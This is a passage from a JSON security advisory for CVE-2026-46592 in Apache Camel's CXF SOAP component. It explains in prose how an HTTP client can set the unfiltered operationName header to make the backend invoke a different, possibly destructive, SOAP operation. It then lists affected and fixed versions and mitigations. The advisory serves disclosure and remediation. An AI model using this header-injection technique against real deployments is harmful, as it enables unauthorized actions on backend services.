  "details": "Improper Input Validation, Unintended Proxy or Intermediary (\u0027Confused Deputy\u0027) vulnerability in Apache Camel CXF SOAP component.\n\nThe camel-cxf producer selects which SOAP operation to invoke on the backend service from the operationName (and operationNamespace) Exchange header, whose constant values (CxfConstants.OPERATION_NAME / OPERATION_NAMESPACE) were the plain strings operationName / operationNamespace. Because these names do not start with the Camel / camel prefix, HttpHeaderFilterStrategy - which blocks only the Camel header namespace on the HTTP boundary - let them pass from an inbound HTTP request straight into the Exchange. In a route that bridges an HTTP consumer (for example platform-http) into a cxf: producer, any HTTP client could therefore set the operationName header and have CxfProducer resolve and invoke a different WSDL operation than the route intended - for example replacing a read operation with a destructive one - against the backend SOAP service (a confused-deputy redirection). The constant is defined in the shared camel-cxf-common module, so the same non-prefixed names also applied to camel-cxfrs. No credentials are required when the bridging consumer is unauthenticated.\nThis issue affects Apache Camel: from 4.0.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0.\n\nUsers are recommended to upgrade to version 4.21.0, which fixes the issue. If users are on the 4.14.x LTS releases stream, then they are suggested to upgrade to 4.14.8. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.3. After upgrading, the operation-selection headers are named CamelCxfOperationName / CamelCxfOperationNamespace and are filtered at transport boundaries; see the 4.21 upgrade guide for the cross-transport carrier-header pattern. For deployments that cannot upgrade immediately, do not select the CXF operation from untrusted input: strip the operationName and operationNamespace headers from any untrusted ingress before the cxf: producer and set the operation from a trusted source in the route.",
  "id": "GHSA-mrrp-9gjm-749v",
  "modified": "2026-08-28T19:32:19Z",
  "published": "2026-07-06T09:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46592"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/camel/pull/23326"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/camel/pull/23369"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/camel/pull/23376"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/camel/commit/0138da45fc9428172c1585ab4561d42e8868cf49"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/camel/commit/36a5088b58be38317a8f974ffda2a262fa00b4e4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/camel/commit/7240570a05687792c95badfa8d11ed2644117230"
    },
    {
      "type": "WEB",
      "url": "https://camel.apache.org/security/CVE-2026-46592.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/camel"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/camel/releases/tag/camel-4.14.8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/camel/releases/tag/camel-4.18.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/camel/releases/tag/camel-4.21.0"
    },
    {
      "type": "WEB",
      "url": "https://issues.apache.org/jira/browse/CAMEL-23526"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/07/05/15"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Camel-CXF: The SOAP operation-selection headers used non-Camel-prefixed names (operationName, operationNamespace) that bypass the HTTP header filter, allowing an HTTP client to redirect the invoked SOAP operation"
}